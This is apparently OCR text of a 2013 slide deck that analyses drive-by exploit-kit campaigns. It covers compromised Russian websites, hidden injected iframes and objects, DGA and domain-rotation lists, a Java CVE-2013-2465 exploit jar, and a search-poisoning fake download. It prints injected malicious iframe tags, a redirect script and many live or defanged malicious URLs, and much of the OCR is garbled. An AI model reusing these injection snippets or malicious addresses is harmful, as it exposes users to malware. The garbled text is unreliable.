=l <html class=" ya-page_ js5_vwyes yva-page_css_gquirks" xmlns="htop:/ uvwwr w3 org/ L3353 /xhonl ">
+ <head:=
= =hody=

“object width="0" height="0" data="http://m¥fulldt_wvalentinesfashionable biz: SLE52/fehl
<fobject=
<title>Facrkerhonemmt nopran Slamdunk.ru - cafir o BacwerBoms, crpmebome m MEL @ </titles

<object width="0" height="0"
data="http://m9fu506t.valentinesfashionable.biz:55252/feb9a89efc
43c515f4fe2b480b8b78cd/3/8¢c86487t5428b0d3afcc839aff1b33f9.h
tml"></object>

Domain Name: VALENTINESFASHIONABLE.BIZ
Domain Registration Date: Sun Jul 28 14:45:54 GMT 2013



Observation Date: Beginning of
Oct 2013

Fiddler Web Debugger

File Edit Rules Tools Wiew Help GET fbook
k__J +4 Replay % ~ B Resume |" Skrearn ﬁfﬁ;[ﬁemde | Keep: All sessions = @.ﬁ.n';.-' Process 0 Find [§

it Protocol Host  LRL
HTTP mc.vandex. vy folmap)?31962page-url=http%:348%%2F % 2Frande:x:
HTTP wvandex.ru  fclckfjsredir from=vande:x.ru%e36vandsearch¥ 36wy
HTTP wii, slamdunkarg )
HTTP weie slamdunk.ra fskyle, css
HTTP wiese slarmdunk.ra fisfsocial-likes. css
HTTP wieiw, slamdunbary fisfsaxcdfvbgbefr, js
HTTP wiw, slamdunkara fisfmenu. js
HTTP wieie slamdunk.ra fwebmaster)sking'is dobj. s
HTTP wieie slarmdunk.ra fweebmasterftemplatefine fwindowopen, js
HTTF wiene, slarmdunk.ra fimages)1x1.GIF
HTTP mIfus0ak, valentinesfashionable biz: 55252  [feb9ag%efc43c515F4fezb4a0b8b 7 5od 3/ 8006487 F 54
HTTF mfus0at, valentinesfashionable, biz: 55252 [93clar7fE4fsbafoad4far22560ab055) 1351741459
HTTP m9fuS0ak, valentinesfashionable, biz: 55252 93cl&77FE4F5bafcad4fa T 22566a0086) 1351741459
HTTP m2fus0ak, valentinesfashionable, biz: 55252 [93cl 87 7F34r5bafcad4fa 7 22566a0085) 1351 741459
HTTP mIfus0ak, valentinesfashionable biz: 55252  [93c1877F34F5bafcad4fa7225660a0056,1 351 741459
HTTP mIfus0at, valentinesfashionable biz: 55252  [93c1877FE4fsbafocad4fa722566a00586/1 351 741459
HTTP m9fuS0ak, valentinesfashionable, biz: 55252 [feb%a89efc43c515F4fezb480bab7E0d )3 acwgssz . ol

HTTP m9fuS0ak, valentinesfashionable, biz: 55252 [feb%a89efc43c515F4fezb4830bab7E0d )3 acwgssz ol




wiaed slamdunk.ra [ 18072 no-... text/html; charset=windows-.., Ffirefox: 32

wiv slamdunk.ra [fskyle.css 34 486 kext/oss firefo:: 32
v slarmdunk.ra Jfjsfsocial-likes, css 18873 bextfoss Firefox: 32
wieed slamdunk.ru - fisfsaxcdfebgbefr s 93 863 application)x-javascripk Firefo: 32
wiied slarmdunk.ru - fjsfmenu. js 2 461 application)x-javascripk Firefo: 32
wied slamdunk.ru fwebmaster/skingjs/dobi. js 7 056 application)x-javascripk Firefox: 32
wieed, slamdunk.ru fwebmaster/template/incwindowopen. js 175 application)=-javascript Firefox: 32
wired, slamdunk.ru fimages)1x1.GIF 43 image/gif Firefo:
slojowi.From-sc.com  viewforum, phprb=ccl 1961 texckfhkml; charset=utf-5 Firefox: 3
slojowi,. From-sc.com  fapp.jnlp 291 texckfhkml; charset=iso-8859-1  java:197€
slojowi. From-sc.com  [fprofile. phpfexp=bytedb=ccl119b18k=0dcac?134b6a 1 Fe2fa i c4cb05439a4dz 12 736 application)java-archive java:197¢
slojowi. From-sc.com  fapp.jnlp 291 texckfhkml; charset=iso-8359-1  java:197€
slojowi.From-sc.com  fapp.jnlp 291 texckfhkml; charset=iso-8859-1  java:197€
slojowi.From-sc.com  [fprofile. phprexp=bytedb=cc119b18k=0dcac9134b66 1Fezfa 1 c4ca05439a4dz 12 736 application)java-archive java:197¢
slojowi. From-sc.com  fprofile. phprexp=bytetb=cc119b18k=0dcac9134b66 1Fe2fa 1 c4cb05439a4dz2 12 736 application)java-archive jawva:197¢
slojowi. From-sc.com  fprofile. phprexp=bytedb=cc119b18k=0dcac9134b6A 1Fe2fa 1 c4cb05439a4dz2 12 736 application)java-archive java: 197¢
slojowi. From-sc.com  fvd1gr.phptexp=bytetb=ccl119bl&k=0dcac?184bes 1 fezf61c4ca054 394402 61 503 applicationocket-strearn java: 197€
SHAZ5G: edbfZ211bfea992adb0fdfb176320add 71 75eMd8275becZ2c5130d4ca411faff
File name: acZch jar

Kaspersky  HEUR: Exploit Java CVE-2013-2465. gen

Detection ratio: 1/48

Analysis date: 2013-10-22 09:51:24 UTC { 0 minutes ago )



And the Binary..

SHAZLE: f4b501c02c8929f7edfb1e2ab/1c3992bc1eb8c31dfab2at 1fcbfadcfa8e 7057
Gen:Heur.Conjar.9 (B)

File name: 024b993 exe Gen-Heur Conjar 9
Detection ratio: 9 /48 32/Shiz NCFE&r

Analysis date: 2013-10-22 09:50:32 UTC { 0 minutes ago } Gen:Heur. Conjar. 3

P 3564542946 - Notepad M=E3 UDs DangerousObject Multi Generic

File Edit Formak View Help

Tue OCt 22 14:1.2:28 200120 -
sDevicesHarddiskvolumelsProgram
Fileshwiresharkiwireshark, exefswsssiioiio ot i o oo
ikl Falr e =

B407 534.472807 10.0.2.15 . 70 standard query A dkxszh.org

6408 534,48640010.0,2.2 10.0.2.15 DS 86 standard gquery response A 37.9.52.104

6409 554.400784 10.0,2.1% 47.0.52.104 TCP 62 timbuktu-srvd » https [SYN] Seg=0 win=64240 Len=0
6410 554, 575007 37.0,52.104 10.0.2.15 TCP 60 https » timbuktu-srvd [SvN, ACK] Seq=0 Ack=1 win=t
6411 5=4.57517510.0.2.15 A7.09.52.104 TCP a4 Timbuktu-srvd » https [ACK] Seg=l Ack=1l win=64240
641,/ 524, 50065010,0,2.15 A7.0.52,104 TLSYL 131 Client Hello

6415 534, 0012 8 37.0,52.104 10.0.2.15 TCP 60 https » timbuktu-srvd [ACK] Seg=l Ack=78 win=6553"
6414 534.679813 37.9.52.104 10.0.2.15 TLswl 1112 server Hello, Certificate, Server Hello Cone

6415 534, 68240010.0.2.15 37.9.52.104 TLEv1 364 Client Key Exchange, Change Cipher Spec, Encryptec
6416 Ss4,6HA158 37.0,52.104 10.0.2.15 TCP 60 https » timbuktu-srvd [acK] Seg=105% Ack=388 win=t
B417 534, 631317 37.9,52.104 10.0.2.15 TLSw1 47 Change Cipher Spec, Encrypted Handshake Message
6418 555.1561010.0,2.15 A7.09.52.104 TCP 54 timbuktu-srvd > https [ACK] Seq=388 Ack=1102 win=t



What's the motivation?



* More end users get hit (less corporate
networks)

* Hits small businesses, home networks (not so
professionally protected)

e Smaller networks - less interest on
Investigation

 Harder to crawl by malware-detecting robots



date

8/5/2013
14:15
9/27/2013
8:08
4/25/2013
11:50
2/25/2013
11:47

8/19/2013
9:14
2/15/2013
13:06
10/9/2013
9:46
6/25/2013
23:07

10/10/2013
12:59
9/24/2013
13:16

referrer
sao.ithelp.ru

medportal.ru
Sa0.mos.ru

akkord-guitar.ru

cars.ru
urod.ru
euromedcompany.ru

ogjrussia.com

glavbukh.ru

vsepodarki.ru

ip
88.208.201.118

88.208.202.128
188.165.95.112

5.199.171.199

37.10.104.109
37.10.104.35
95.163.121.168

198.50.211.72

198.50.225.114

198.50.225.127

url
hxxp://tavriypvl.commutersadopt.in:33/an.php

hxxp://saloukjx.pinterestpresently.org:88/room.
php
hxxp://revolutionizingsin.org:90/forum/ask.php

hxxp://064a232d4a0baf6b.selfip.info:443/hpwe
bjetadmin/mature.php?
back=720&what=224&punknown=113&classes
=619&bugs=69
hxxp://fifdbat.knowsitall.info:3910/jump/fallen_d
ifficult-from-charged.php

hxxp://vulouff.ddns.name:5000/tomove/3

hxxp://klicnpcfen.sytes.net:12601/autologin/cod
e/consumer/licensing.php?browse=82

hxxp://ty9jq7.guardiannewbridge.biz:26144/ac9
5df5357ffcd09311eeb76¢c9e7f338.html?
sk=555757&sid=1&pk=610b367d794dc535038
7f209ff1918c4
hxxp://eumswa.chinesenewyeartrendy.biz:3903
1/96584ed50a5eaf0e3e7377830fe8b990.html

hxxp://vpysl.testimonyjobs.biz:44432/f686b0c0O
4a786e3eleb600f1671dde50.html?
sk=822765&sid=2&pk=2fd16676e8cf65685e0fe
5e4d258b716



Compromised DNS servers,

domains reputation doesn't work
Legimate domains are compromised

Compromised account DNS is used to
generate sub domains, which are used in

MY Times DNS Compromised | Diary Discussions | Community Faoru.
https:ﬂisn.sans.Eduffl:lrumsfdiawﬁNY+Times+[}N$+Ec}mprﬂmiﬂedﬂEdﬁ*l d

2 aer 2013 - The website for the New York Times was taken offline today by way of
an attack on their DNS. Shown below 15 the summary Dr. J whipped up:.




 Many domains from different country zones point to
the same place

 Many not related domains from different country
zones have sub domains with similar or not human
readable names

» |3 sub domains and L2 domains resolved into
different AS. But sites with out load balancing

e URLSs looks similar for not related domains.



Compromised DNS as landing
pages Summer 2013

01.08.2013 18:24 - 37.9.52.161 80 GET
hxxp://slephospu.dalnet.ca/viewforum.php?b=0999bec

01.08.2013 18:24 - 37.9.52.161 80 GET
hxxp://slephospu.dalnet.ca/like.Am.class

30.07.2013 15:32 - 37.9.52.161 80 GET
hxxp:/[todrost.kurstenge.kz/viewforum.php?b=4270f8b

05.08.2013 14:39 _hxxp://90gradusov.ru/ 37.9.52.160 80
GET hxxp://drustapha.svien.ru/viewforum.php?b=f57a7a0

05.08.2013 14:39 _hxxp://90gradusov.ru/ 37.9.52.160 80
GET hxxp://drustapha.svien.ru/viewforum.php?b=f57ar7a0

05.08.2013 14:39 - 37.9.52.160 80 GET
hxxp://drustapha.svien.ru/viewforum.php?b=f57a7a0




Compromised DNS as landing
pages Summer 2013

8/9/2013 10:51 _hxxp://jguery|sscript.ru/ 76.73.69.74
80 GET hxxp://power.draotth.com/script.php?
fn=3&1d=419 text/html

8/6/2013 12:35 - 76.73.69.74 80 GET
hxxp://avtryunret.drippingrockhoney.com/do.php?
fn=1&Id=419&pagelL.oad=aHROcDovL2pvbWxhamF2Y XNjcml
wdC5ydS8= text/html

8/6/2013 12:35 - 76.73.69.74 80 GET
hxxp://avtryunret.drippingrockhoney.com/movie.swf?
fn=2&Id=419&pagel.oad=aHROcDovL2pvbWxhamF2Y XNjcml
wdCbhydS8= application/x-shockwave-flash

8/6/2013 12:35 - 76.73.69.74 80 POST
hxxp://avtryunret.drippingrockhoney.com/do.php text/ntml
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02.10.2013
02.10.2013
02.10.2013
02.10.2013
03.10.2013
04.10.2013
04.10.2013
04.10.2013

04.10.2013
04.10.2013

04.10.2013
04.10.2013
04.10.2013
04.10.2013
04.10.2013
04.10.2013

Interesting DGAS
“Blackhole” Oct 2013

kmxhtmlwuryxlbeswuwr.ynicksfullygirls.us
natxwznrdftdiwshufrhekav.ynicksfullygirls.us
bwwhnitwzavwledfrm.freebootsraces.us
cwyaknmsblwzzrmuvlhliitfhb.freebootsraces.us
shmcers.zerostrimsfulling.us

nbcarfh.zennofullinghidds.us

wsttdkbfy.zennofullinghidds.us
htwdshwvzcxuhtvkcdtmichl.domainsdustinghoockansas.com

Ifydftzfndkldsrikntlcxf.domainsdustinghoockansas.com
mdeihferyludccbhhhsus.domainsdustinghoockansas.com

hnnwsdxhtcybhfrw.domainsdustinghoockansas.com
frfaurvtzdk.domainsdustinghoockansas.com
etrccfciuazibmulnuul.zennofullinghidds.us
gergx.mamasdiscovered.in
dfhb.mamasdiscovered.in

srt. mamasdiscovered.in

23.231.4.141
23.231.4.141
23.231.4.141
23.231.4.141
23.231.4.141
23.231.4.141
23.231.4.141
23.231.4.141

23.231.4.141
23.231.4.141

23.231.4.141
23.231.4.141
23.231.4.141
23.231.4.141
23.231.4.141
23.231.4.141



DETECTION
AND
COUNTER-DETECTION
TECHNIQUES
2013



* Proxy detection

* Entropy

* Not typical ports

* Legit domains as a storage

* Geo IP Monetization (in Russia — video,
outside - exploit)

 More and more not targeted landing via E-
Mails

* Mobile (android)
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'T | PeaakTHPOBATE | body - htmil
ATIiTle> I'Fll MRS PHRMUHA LUIHUABLD </TIiTle>
E <iframe sre="http://metrics.rull.impetigocl3. dyndns-
at-home.comn/?in=53957">
EH <html>
<head> </ head>
= <body>
B <center>

“~hr>
<irnginx/l.Z2.9</i>

< /fcenters
< /body>

</ html >
i wee . - -




deaswqgwehdskdgw.homelinux.com
- 176.31.140.65

e p3f21817812f11a62eb1b506.homelinux.com
— 93.189.29.235

e 5f87b942cfab7def68889bh81.homelinux.com
- 93.189.29.235

lapachka.info - 93.189.29.235

Domain Name:LAPACHKA.INFO

Created On:05-Jun-2013 20:31:33 UTC

Last Updated On:20-Aug-2013 07:36:23 UTC
Expiration Date:05-Jun-2014 20:31:33 UTC
Sponsoring Registrar:DomainContext Inc. (R524-LRMS)



http://whois7.ru/LAPACHKA.INFO

Legit domain(Mar 2013), registered In
2007 ..

é 2 t www.manhl:n.acsan.com,l'en.html . Cf' 'I'Ilv oog| ,f;"' A i‘
SR E ©ONGRIRVATN B EHETE U &N GIMA

www. manhbacson.com

V//

MBS Co. Ltd.

- WELCOME TO MANHBACSON'S WEBSITE

TRANG CHO | ABOUTUS | SERVICES | FIELDWORK | PRODUCTS | CONTACT | RECRUITMENT | PICTURES | DOWNLOAD

PRODUCTS CATEGORY LASTEST NEWS

- Anger over Tet
b honuses  leais
— to strikes in FIEs

¥Tet  honus  problems are
cantributing to strikes

& WOODSUNG PUMPS
£ EUROFLOD PUMPS
& AOLI PUMPS

B> FINISH THOMPSON PUMPS
Unlicensed

£ BOM THUNG PHUY

slaughterhouses: Waste,
feces, feathers and filth
s¥Follow as Mguoi Lao Dong
reporters Long Giang ..

1 o Precious  little

; . oy : space for
ac ching loal san pham . AR :
g 10z M parking in Hanoi

WThe price of parking in Hanoi
has increased ..

ﬁ PRODUCTS LATEST
T b e I e T i - B s o a1 o ks b mar i

& DRENO PUMPS

B> ARGAL CHEMICAL PUMPS

£» OBL MEETRING PUMPS

& MAY THOI KHi TAIKO

3
)
=]
=

L DEVICES
£ BOTOU PUMPS

& VARISCO PUMPS

£ WILDEN PUMPS



POwned... (reputation!!)

referrer IP

http://yandex.ru/yandsearch? 112.78.2.11
text=%D1%81%D0%BF
%D1%80%D0%B0%..

http://www.manhbacson.com/lo 62.75.182.222
ad/download/blank-spravka-o-
balansovoy-stoimosti-3d.php

URL

http://www.manhbacs
on.com/load/download
/blank-spravka-o-
balansovoy-stoimosti-
3d.php

http://id000222.info/?
2&keyword=
%25D1%2581%25D0
%..

65



URL on the same site: alldistributors.ru/image/
Site: alldistributors.ru
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http://hk.sz181.com/images/c4a.jpg ~ Win32 Executable (payload)

Domain Name:sz181.com

Record last updated at 2013-03-11 09:27:18
Record created on 3/10/2005

Record expired on 03/10/2014

name:(ShenZhen Johns Property Accessory Supply Co.,LTD)
mail:(kf@johns168.com) +86.75526919616
+86.75526919856

ShenZhen Johns Property Accessory Supply Co.,LTD

<object width="640" height="60" classid="clsid:D27CDB6E-AE6D-11cf-96B8-
src="http://lwww.35.com/upload/35WHOIS FLASH__ 640 60.swf" width="640

Billing Contactor:
ShenZhenShi ShenNanDaDao01021 Hao XiNianZhongXin 12A03
SHENZHEN
Guangdong, 67
CN
518040



&) KomHatHble pacTte HWA , CanoBbieé pacTe HWA, AeHOpPATHEHBIE pacTe HMA, LEeThl. JHUMHHAONE AMA, HaTador. ¥xoa, paiMHoMe HHe , Beipai MeaHMe. - Mozilla Firefox

Fil= Edit ‘“iew History Bookmarks Tools Help

%" KOMHATHEIE PACTEHKA, CAA0BLIE DACTEHHA, ... | + |

-

& v botanichka. ru

boTdaHWYKAa.ru

Anpere. AuvpesT  Boe ofbasneqHma

[Cnagmosmyc q EBelpawmMBaH e KorMHITHER: 1B OEvyEHbIe KoaoaEK Woodlol
! Mokynka, npogarka, B gap. OT P LESTOE Woodlore W Dasco - 3To YpoEeHb!
200MAT AZHHOE M HaCTHBIX AW Ha BEIPAMESHME Ha FHAPOMNOHHKE B
g IRR.ru WCTAHOBKE = d0Mall WA cags.

becnnaTHaA AO0CTaekKa.

O npoekTe Mow oW b NofegmTene

KB NERHO MO KoOHKYpCS
HOEDCTH ABTOpaM «30onoTol caliTs
Pacceinka «boTaHu4ka. rus METHW CTaTeH
CoTpYOHWHECTED ABTOPCKOE NPago
KaoHTakThl Hak ofopmHTE CTATB

2 2009-2013 BoTaHMHYkKa. ru | BOodATH

& ™|
#f L £ o ~ HTML ~ | €SS Script DOM

<3 Edit  body#bp-...onme-page - html

A _process login.php" method="post" name="3fb_Jj=s login callback form":= B

+ =script type="text/Jjavascript"=
+| <script sro="http: /S botanichka. rafvp-content plugins fcontact-form—7/Jquery. form. Js?wer=3_08" type="text javascript"=
+| <script type="text//Jjavascript"=
+ <script sre="http: /S /ummr_botanichlka. raf/vp-content plagins fcontact-form—7//scripts._ js?wer=3_1_2Z" type="text/javascript">
+ f=cript type="text/javascript"=
+ fscript sre="http: /S Jummr_botanichka. rafwvp-content fpluagins Map-postratings /Jpostratings—-j=s_js?ver=1_ 50" type="taxt fjavascript">
il
= #iframe width="Z0" height="Z0" src="http:/  /vhidrix_ from—mne._ con/S8xid=zREENH/12" style="border:Opx:"=
=l “html=

| Thtmnlfbody fiframe (hkkp: [ e w3, orgf 1999 =html) i
“title>404 Not Found-=/title>
=/head=
=l =bhody=
=hl=MNot Found-<rshl=
“p= The recuested TRL was not found on this serwer . </ p>=
=hr=

“address=apache/Z_ 2.3 (Centls) Serwver at megafiles. com Port 20 =<faddresss
= hody=
=/ html =

< i frameae=

gy

</html= w



(’ IL . ili:, i medcenker-mid.ru
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¥eb Sessions I

WLy = H fonsole | HTML = | £55  Script DOM et

¢» Edt  bodyice-fs12 - html gecko

=l <htnl class="gecko win" lang="ru-ru" dir="ltr" zwl:lang="ru-ru" xmlns="http://wv ws. org/1999,/xhinl >

<head> < /head>

e
[ =iframe width="1" height="1" style="wisikilit+y: hidden"

= =html=
= <head=
= /head>=
= =body=
Z=
= bodsiy=
< shtml =
=Siframe=

= <iframe width="1" height="1" style="visibility: hidden" sreo="http://Sfareknowak.pl/kutdagh. phps
= <htmls
= +heads
</head=
= <bady>
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HTTP
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me.wandex.r

iy, Ens-counterru
ki wandex.ru

iy vandes,
suggest. yandex.ru
suggest. yandex.ru
vandes.ru

clck. wandesx.ru

clck. vandes.ru
wande.
Favicon . wandex.net
WA, ENS-Caunter,r
WANDEX. L

Wandex.

e yandes.r
wandex.

Wande.
me.wandex.r
me.wandex.r

v medcenter-mid.ru
v medcenter-mid.ru
i medcenker-mid.ru
areknowak.pl

v medcenker-mid.ru
v medcenker-mid.ru
v medcenter-mid.ru
v medcenker-mid.ru
Fanks.googleapis. com
v medcenter-mid.ru
v medcenker-mid.ru

nn:un;.raj;thp 1 Emt daqh _ plrlp " ::-

URL

watchi 723233

Y 13a v andex_rufrufCP1251 tmsec=yandex_y
uf

'daka/mall, jshvaru=y

suggest-ya, coity=4&f act=1fmiz=TrWwthacalback:
suggest-ya, cgitv=48f act=18miz=Tr\Wthacalback:
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f

!

f

f

f

f

[Favicon.ico

felickfdtype=stred pid=17/rid=1082 rnd=1365656
Jiclck/dtwpe=stred/pid=0/cid=237 3/path=morda_n
Ivandsearchtext=medcenter-mid.ruddr=213
JFaviconwmme, medcenter-mid, rofeas, mid rofmebe
M L3a®* ¥y andes_pufrufCP1251 tmsec=yandesx_s
felckyclickdat a=aiuy ODEWE I7Txgedwdy 15 VpgPUyl
Jelckyiclickfdat a=Aiuy ODEWF 7 Tgadwdy 10V pgPLv]
Jwatchi7319627rn=0171400mmode=58c alback=_
felckyficlckfdbype=stred|pid=0/rid=7 2043 path=mM1,
Jielckjclick{dtype=stredfpid=1/cid=70061/path=pur
watchi 7319627 n=262 3880 page-ref =http 387
felmapy 7319627 n=858661 &page-url=httpt34%:2
!
1
f
/
I
f
1
I
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f

‘plugins/system/ice_speedf?f =4659862152a260F 32
plugins/ system/fice_speedi?f=0cf38F 4603 14093%
krntdagh.php
plugins/system/ice_speedi?f=713d1 47565 e 1587
plugins/system/ice_speedi?f=ef71F13fd53c5ea55:
‘plugins/ system/ice_speedf?f =hif e433r9a0d397 75
plugins/system/ice_speedf?f=369149167514F6cF 2
css7family=Meuton@subset=latin
imanes/stories/fruitfmap_mid_min.jpg
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Domain Rotation (new redirect every
2-3 minutes)

http://www.residensea.jp/xuaioxc.php
http://firenzeviaroma.ru/dgryony.php
http://sphynxtoutnu.com/dngaibb.php
http://www.icmjapan.co.jp/dgttcnm.php
http://www.controlseal.nl/yolelkx.php
http://ural.zz.mu/ledstsn.php
http://www.fotobit.pl/cpjjpei.php
http://bgcarshop.com/tgghhvy.php
http://www.borkowski.org/fudbqgrf.php
http://shop.babeta.ru/puthnkn.php
http://e-lustrate.us/mycbbni.php
http://notarypublicconcept.com/shfvtpx.php
http://www.stempelxpress.nl/vechoix.php
http://64.68.190.53/dqgohago.php
http://likos.orweb.ru/oydochh.php
http://wap.warelex.com/parpkeu.php

http://pcprint.es/xymijte.php
http://genckoltukdoseme.com/jydudjd.php
http://www.mgftools.com/fakmgbv.php
http://ohtparis.com/msmfguo.php
http://kenankocticaret.com/myrivrk.php
http://restaurangmaskiner.net/rwuwkagx.php
http://fvp.nau.edu.ua/uhetymf.php
http://kontra-antiabzocker.net/xubolww.php
http://artmaster39.ru/jtfsajd.php
http://drcalotti.com/lIfisbj.php
http://adult-toy.ru/immjdti.php
http://corumhaberi.com/ugfrcal.php
http://opr.kz/jwcxbwi.php
http://peggysmith.nl/thtaywn.php
http://nic-ram.com/jqdkfrh.php
http://minsociety.org/djafssg.php
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F plastil, smartbizz, net - "" areknowak,pl

[ 4
N "ﬂACT”ﬂ +37517 38003 30 +37529 77 00 922

PPN nucoska ¢ rarantuen +37517380 0331 +37544 7722922

&. o CEPUAHAS NPOOYKUMS: <

& Jonsur physiomobility,corn - B8 [#3 - srenowakinl

Physiomobility

®®ee HEALTH GROUP

Programs Services Products Resources About us Events & Workshops Contact us

0
secom nazwa.pl ¢ "- arekniowak. pl

n /home woonskiv/domains/ areknowak .pl/public_html/components/com_joomlastats/ count.classes.php on line 1078

szamy wkrotce.

areknowak.pl GLOWNA OMNIEE PORTFOLIO FAQ

GRAFIK FREELANCER
KTOREGO SZUKALES

it

tel: +48 77 5474183
mob: +48 601 56 50 77
e-mail: jards@jards.eu

2 M0JA KONCEPCJA KORZYSCI

I3 etspie o



Domain rotation victims

e Over 500
compromised
domains in 24 hours

e Domain rotation once
per minute (3
minutes In the other
iIncident)

O)996 1998 2000 2002 2004 2006 2008 2010 2012
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Hawnoce
2 MNH oTEETOE

Kapn MapKc kanuTan KpaTkoe cogepKaHue
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KONWA — eULg

KoHenekT no Kanutany K. Mapkca

Tun: Pedepat B pafoTte ecTe: pdcyHkd 4 Wit Azeik pycckwi. Pazmectun (a): Zeus. Pazmep: 48
kb, Kateropua: 3koHomuka. KpaTkoe onucanve: Toeap cTe EHELHWA NpeaMeT (BELLE],

KOTOpaA YA0BNEeTEOPAST kakMe-nubo Yenoeaqeck

| Haiitu HacTtpoika

Pervon: Mockea

Pazmectute ofkAENEHWE N0 3an
«FpaTkoe COoBpKaHWE ... »

&KQSTKDB COneHaHre ... & B Kap

BAAKM
AMMTPHMEB

b"‘
] Il

CoolReferat.com » Kencnekr _no Kanurany K.

ﬁ '|c][‘=.' Google

CkaYaTk KpaTKoe cofepKaHWe KanuT.
*BHumaHMe, "KpaTkoe cofepKaHHe Kanutan
NONLZ0EAHWA. MCNONE3YA Bro B KOMMERYECKHX
ENaAeNbUs MaTepuana.

alldistributars.ru » image/kratkoe. .. kapital-marl

-

ALL - FILES

E:‘ Hagumrayma

Kapn Mapke: "Kanutan' (KoHcnekT)

2 OTHoCMTENEHEA bopma cToMMOCTH. &) Conepy B Tnaexaa
YHenoeeveckan pafovan cuna B TEKYYEM COCTOAE
CTOMMOCTE, HO CAM TRYA HE BCTE CTOMMOCTE. » Codr
prioslav.ru » refb3d  gonwAa W@

P hyzeika

E Mouck No pazaeny PUHAHCELIL . Kapa M -

cofgepXKaHue
NuyHo MHE NpEACTABNAETCA, NTO M B COEREMEHH P Khurn
CEOBW HaYYHOR 3HAYUMOCTH M SKTYaNBHOCTH. .
KpaTKoe HanoMMHAHME TOMO, 4TO M3YYEETCA B KY P Mpowmert
PEIHKE BamMTEL.. ...
finansy ru > TekcTel kHUE > search_ . kil gon P Apes
KoHenekT kHurk K. Mapkea "Kanutan” b e
Kanutan pacnagaeTca Ha AEe 4acTH. DeHEeWHY P Hoeuukw
NPOWEE0ACTES, M SEYIYH BeHeXHYH Cympy |
4acTe CTOMMOCTH, NPEBRALLEHHAA B NOCTOAHHEIA P Nyuwee
striphaus.ru » referats/02/hai-0263f konwAa el

P Ton-100

€ KpaTtkoe onpoeepieHve Kanutana Ma b O hac

Bawemy BUsHECY 3TO Hy:KHO, NpoAENEHHaA Bam
YHuTate fqanee.. Kpatkoe onpoeepxenve Kanuti P OBpaTHaA cBAsE

' ‘ CraHaTe EPETEOE COABDHAHME KAnMTan Mapkc

Maponk: Zafein napone? BoATH

L Bxon ,

Opening kratkoe_soderjanie_kapital_marks.exe

You have chosen to open

ThHwee: MaKap YyORa ropEKOr0 KPaTKoe COAepaHue » CRaYaTe KpaTkoe Coaep#aH

Mapke [ kratkoe_soderjanie_kapital_marks.exne
which is a: Binary File

From: http:jfalldaymedia.ro

HuAa - KJ.
Penns: 3.12.2011
OnepauMoHHaA cucTeMa: Windows (Bce eepoum), Mac OS5 Jaguar
Pasuep BokyMeHTa: 2 Mb

tain npoeepen: Driweb, McAfee, Morton Antivirus

> ckauaTtb

KpaTkoe CO0epX¥aHWe KanuTan Mapkc

Would you like to save this File?

BE apxHMEOE

:I Ton & Nporpanmm

1z

LleHTpanukzoeaHHan cykba
MIHOEEHHOTD OfMEHS
cO0BWEHHAMMK CETH FIHTEpHET

MpouzeoonTenk: He vEazaH
NuueH3MA: BacnnaTtHas
Tone B pedTtHHre: 976
CrauMeaHHil paiina: 253
Jarpy3nm: Noxaprukl

Opera

Bef-Gpayzep v NPOTPaMMHEIR
NakeT AnA pafdoTel B FIHTEPHETE,
ELIMYCKAEMBIA KOMOaHWER Opera

*BHUMAHUE, "EPATHOE CONEPHAHWE KANUTAN MAPKE" HE NPEAHESHAUEH ANA KOMMEPUECKOTD v
oftware

NoONE30EAHWA. MICNONESYA 810 B KOMMERUECKME LENAK, Bkl MOKETE HARYWHTE SETORCKWE
NpaES BENAGenkUa MaTEpUana.

WinAmp

BRICTRRIN, TMAKWA ayauoleuaen
NROWIPEIEATENE 4NA Windows,
KOTOPEIR 33E02EAN O4EHE

Teru: KpaTkoe COOSPKAHME KAMMTAN MARKT, CMNAT YCTANRIE MIPYLIKW MUHYC

OnpoEepsKeHKHe NONKMTHYECKoH Teopuy KanuTan:
pistl.ru » . kratkoe-oproverzhenie-kapitala-marl

Bl DodhonaT

Kraumrmarr o Kamarams - Mamieraa 1 1oea

l :1 NMyHwee

ﬁﬁﬁﬁﬁ(rnnnma: El
Hobaewn: Elektron, June 16, 2011, 17:27, 10:13, MpocmoTpoe: 554, KOMMeEHTapKK (4)

A I AL LS e e T AT

GONEWYD NONYNARHOCTE B MURE.

KMPlayer
W& MAA-MAAWIARIRATE AR A00UA W



Payload loaded via social engineering trick

File name generated to match your search engine request

Opening kratkoe_soderjanie_kapital_marks.exe N

You have chosen to open a " =
I rtho. it skl ek onclick=ladunin fuck|'mparTroe coxepxarnie

From: http:ffalldaymedia.ru

Would wou like to save this file?

Save Fils | Cancel |

Download button::

= *noindex>
=l =a onclick= 'EpATHOS COTepHMaHMe RarmHTan dMaprc' )" rel="nofollow" href="g#"=

<img sreo="theme filesfsdownload.png” alt="" style="border: Opx solid ; width: 15lpx; height: S&px;"=
=/ a=
<a onclick="admnin fuck('mpaTEoe coIep 151 % 55 prc' )" rel="nofollow" href="#"rxparkoe COTepHaHMe HATMTAT MapRC </ a>

=i/noindexx

function admin_fuck(key)

var url = "http:/lalldaymedia.rulfileserver/search.php?search=1&query=" + key;,
var what = new Array(‘aanieaoii’, 'nea?aou’);
var by = new Array(", ");

for (var i=0; i < what.length; i++) {
url = url.replace(what[i], by[i]);
}

window.location = url;
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The Following cookies match your search:

| Site * | Cookie Name

| R

D alldaymedia.ru schemal

Agentload - ®ainosmi nouckomk - Mozilla Firefox

Ele Edt Yew Hstory Bookmarks Dok Hep

[ - o
Antivirus scan for at UTC - VirusTotal | (3 Whois cepewc - npasepsa ceatioaroro A.. * ||4KpaTkoe conepwasne anvran mapsc —.. | || Agentioad - baiinoeti nonckas > | £ cavare nporpanna ana vaanermawind... < | +

Mame: wisited1

€5 [ [0 agentinads. rddo.rufrr=103460=Aauery =3 EA%F DT ED %oF 2 %E A% EEES % | HoEEHoE 4+ 7oES OB YoE D% ED BB TES +5oEA BB 0% EF Yo 2 Ao 0% B+ E C HEO%FOEA%FL [%3 ~\e] @v Google

Conkent: 19206
Host: alldavmedia,ru e)Ag ntlLoad.com Dowoh  Pencriaws  Boa

Path: l|'ﬂ|eser-.,'erl|' L1 MOMOLLHUK B CRGUMBaHI PaitNoB
Send For: Any bype of connection

. " 4 Duneub: Wyseika: rpsr: <9 Cogm
Expires: Thursday, May 17, 2012 11:00:34 Mowck paitnos ﬁ 11275 ana 02 21575 o ‘ ‘ 1627 pana E’, 823 fains
Remove Cookie Remove Al Cookies Y10 BbI XOTUTE HAUTN?

KPATKOE COAEPHAHME KAMWTAN MapKE

Hanpumep, [lupatel kapndcors Mopa

Bol nwere dann: ¥
KpaTkoe cojepxaHne KanuTan mapkc

CropocTe ckaudeanma; 1789 Ko/cer.

Crasau 1876 pas.
